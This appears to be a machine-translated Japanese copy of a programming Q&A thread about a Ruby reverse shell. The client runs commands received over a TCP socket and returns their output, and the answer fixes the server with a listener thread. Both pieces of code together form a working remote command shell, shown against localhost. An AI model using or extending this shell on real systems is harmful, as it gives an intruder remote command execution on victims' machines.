リバースシェル-サーバーにクライアントに送信された複数のメッセージを印刷させる方法

フランシスコサントス

私のリバースシェルは「ls」コマンドの出力を最初に印刷するだけですが、サーバーで必要な回数だけ印刷させるにはどうすればよいですか?

require 'socket'
require 'open3'

def createClient(hostname, port)

  s = TCPSocket.new hostname, port

    while line = s.gets
      if line == "exit"
        s.close
      end
      stdin, stdout, stderr, wait_thr = Open3.popen3(line)
      s.puts("#{stdout.read}")
    end
end

createClient("127.0.0.1", 9090)


require 'socket'

 def createServer(hostname, port)

   server = TCPServer.new(hostname, port)
   client = server.accept


   loop do

     message = gets.chomp
     if message == "exit"
       break
     end
     client.puts(message)
     while line = client.gets
       puts line
     end
   end

   client.close

end

createServer("127.0.0.1", 9090)

サーバーがクライアントによって処理されたすべてのlsコマンドを出力することを期待していましたが、最初のコマンドのみが出力されました。

パン先

client.gets、ソケットが閉じられるまでソケットをリッスンし続けます。そこにぶら下がっています。

トレッドを開いてソケットを聞くことができます。メインループはstdinをリッスンし、msgをソケットに送信します。このような:

   Thread.new do
     while line = client.gets 
        puts line
     end
   end

   loop do
     message = gets.chomp
     if message == "exit"
       break
     end
     client.puts(message)
   end

   client.close

この記事はインターネットから収集されたものであり、転載の際にはソースを示してください。

侵害の場合は、連絡してください[email protected]

編集
0

コメントを追加

0

関連記事

分類Dev

Javaがサーバーに接続されているすべてのクライアントにメッセージを送信させる方法

分類Dev

Qtのサーバーから接続されたクライアントにメッセージを送信する方法

分類Dev

マルチスレッドサーバーは、複数のクライアントが接続しようとすると、「破棄されたオブジェクトにアクセスできません」というエラーを表示します

分類Dev

メッセージは単一サーバーのサーバーからクライアントに送信されません-Javaの複数のクライアント

分類Dev

ZeroMQ:順序付けられたメッセージをサーバーにプッシュする複数のスレッドからのinprocクライアントに推奨されるパターン?

分類Dev

クライアントが強制的に破棄された場合にサーバーにメッセージを送信する

分類Dev

サーバーは、最後に接続されたクライアントからのメッセージのみを印刷します

分類Dev

1つのクライアントが受信したメッセージを、サーバーに接続されている他のすべてのクライアントに送信できません

分類Dev

Thrift: サーバーに接続されているすべてのクライアントにメッセージを送信します

分類Dev

暗号化されたメッセージをPythonクライアントからnodejsサーバーに送信する

分類Dev

C#TCPサーバーは、Pythonクライアントから送信された2つのメッセージを同時に受信します

分類Dev

クライアントにメッセージを送信するサーバー

分類Dev

ポスト/コメントの複数のデータオブジェクトをシリアル化された単一のデータにシリアル化するためのプロトコルバッファ

分類Dev

Apolloクライアントローカルにキャッシュされたミューテーションをサーバーに送信する方法

分類Dev

クラスのテンプレートを持つベクトルにあるサブクラス型のオブジェクトのオーバーライドされた関数にアクセスする方法

分類Dev

PHP WebSocket –指定されたクライアントにメッセージを送信する方法は?

分類Dev

Swagger UIは、単一のアクションパラメータにバインドされた複数のヘッダーを、複数のヘッダーとしてではなく、単一のjsonオブジェクトとして送信します。

分類Dev

kubernetesダッシュボードエラー: 'メトリッククライアントヘルスチェックに失敗しました:サーバーは要求されたリソースを見つけることができませんでした(サービスヒープスターを取得します)。

分類Dev

SignalRで切断されたクライアントにメッセージを送信するときの例外

分類Dev

セレンウェブドライバーc#を使用して新規ユーザー登録のために入力されたemailidの受信ボックスに送信されるEメール検証リンクを自動化する方法

分類Dev

ミラーリングされたデポジトリを備えたメインLinuxサーバーからアップデートをプルするためにセカンダリUbuntu / DebianサーバーでFTPを再度有効にする方法は?

分類Dev

サードパーティのライブラリによって呼び出されるコールバック関数内でオブジェクト/変数を渡す/アクセス可能にする方法は?

分類Dev

ソケットサーバーは、クライアントから送信されたメッセージを受信できませんでした

分類Dev

パブリックメンバー変数にC ++の同じクラスのプライベートメンバーにアクセスさせる

分類Dev

現在のクラスのセッターを使用して設定されている、インターフェイスのオーバーライドされたメソッドで現在のクラス変数にアクセスする方法

分類Dev

サーバーからクライアントにメッセージを送信する方法

分類Dev

サーバーからクライアントにメッセージを送信する方法

分類Dev

サーバーがJavaでクライアントにメッセージを送信する方法

分類Dev

PythonサーバーからJavaクライアントにメッセージを送信する方法

Related 関連記事

  1. 1

    Javaがサーバーに接続されているすべてのクライアントにメッセージを送信させる方法

  2. 2

    Qtのサーバーから接続されたクライアントにメッセージを送信する方法

  3. 3

    マルチスレッドサーバーは、複数のクライアントが接続しようとすると、「破棄されたオブジェクトにアクセスできません」というエラーを表示します

  4. 4

    メッセージは単一サーバーのサーバーからクライアントに送信されません-Javaの複数のクライアント

  5. 5

    ZeroMQ:順序付けられたメッセージをサーバーにプッシュする複数のスレッドからのinprocクライアントに推奨されるパターン?

  6. 6

    クライアントが強制的に破棄された場合にサーバーにメッセージを送信する

  7. 7

    サーバーは、最後に接続されたクライアントからのメッセージのみを印刷します

  8. 8

    1つのクライアントが受信したメッセージを、サーバーに接続されている他のすべてのクライアントに送信できません

  9. 9

    Thrift: サーバーに接続されているすべてのクライアントにメッセージを送信します

  10. 10

    暗号化されたメッセージをPythonクライアントからnodejsサーバーに送信する

  11. 11

    C#TCPサーバーは、Pythonクライアントから送信された2つのメッセージを同時に受信します

  12. 12

    クライアントにメッセージを送信するサーバー

  13. 13

    ポスト/コメントの複数のデータオブジェクトをシリアル化された単一のデータにシリアル化するためのプロトコルバッファ

  14. 14

    Apolloクライアントローカルにキャッシュされたミューテーションをサーバーに送信する方法

  15. 15

    クラスのテンプレートを持つベクトルにあるサブクラス型のオブジェクトのオーバーライドされた関数にアクセスする方法

  16. 16

    PHP WebSocket –指定されたクライアントにメッセージを送信する方法は?

  17. 17

    Swagger UIは、単一のアクションパラメータにバインドされた複数のヘッダーを、複数のヘッダーとしてではなく、単一のjsonオブジェクトとして送信します。

  18. 18

    kubernetesダッシュボードエラー: 'メトリッククライアントヘルスチェックに失敗しました:サーバーは要求されたリソースを見つけることができませんでした(サービスヒープスターを取得します)。

  19. 19

    SignalRで切断されたクライアントにメッセージを送信するときの例外

  20. 20

    セレンウェブドライバーc#を使用して新規ユーザー登録のために入力されたemailidの受信ボックスに送信されるEメール検証リンクを自動化する方法

  21. 21

    ミラーリングされたデポジトリを備えたメインLinuxサーバーからアップデートをプルするためにセカンダリUbuntu / DebianサーバーでFTPを再度有効にする方法は?

  22. 22

    サードパーティのライブラリによって呼び出されるコールバック関数内でオブジェクト/変数を渡す/アクセス可能にする方法は?

  23. 23

    ソケットサーバーは、クライアントから送信されたメッセージを受信できませんでした

  24. 24

    パブリックメンバー変数にC ++の同じクラスのプライベートメンバーにアクセスさせる

  25. 25

    現在のクラスのセッターを使用して設定されている、インターフェイスのオーバーライドされたメソッドで現在のクラス変数にアクセスする方法

  26. 26

    サーバーからクライアントにメッセージを送信する方法

  27. 27

    サーバーからクライアントにメッセージを送信する方法

  28. 28

    サーバーがJavaでクライアントにメッセージを送信する方法

  29. 29

    PythonサーバーからJavaクライアントにメッセージを送信する方法

ホットタグ

アーカイブ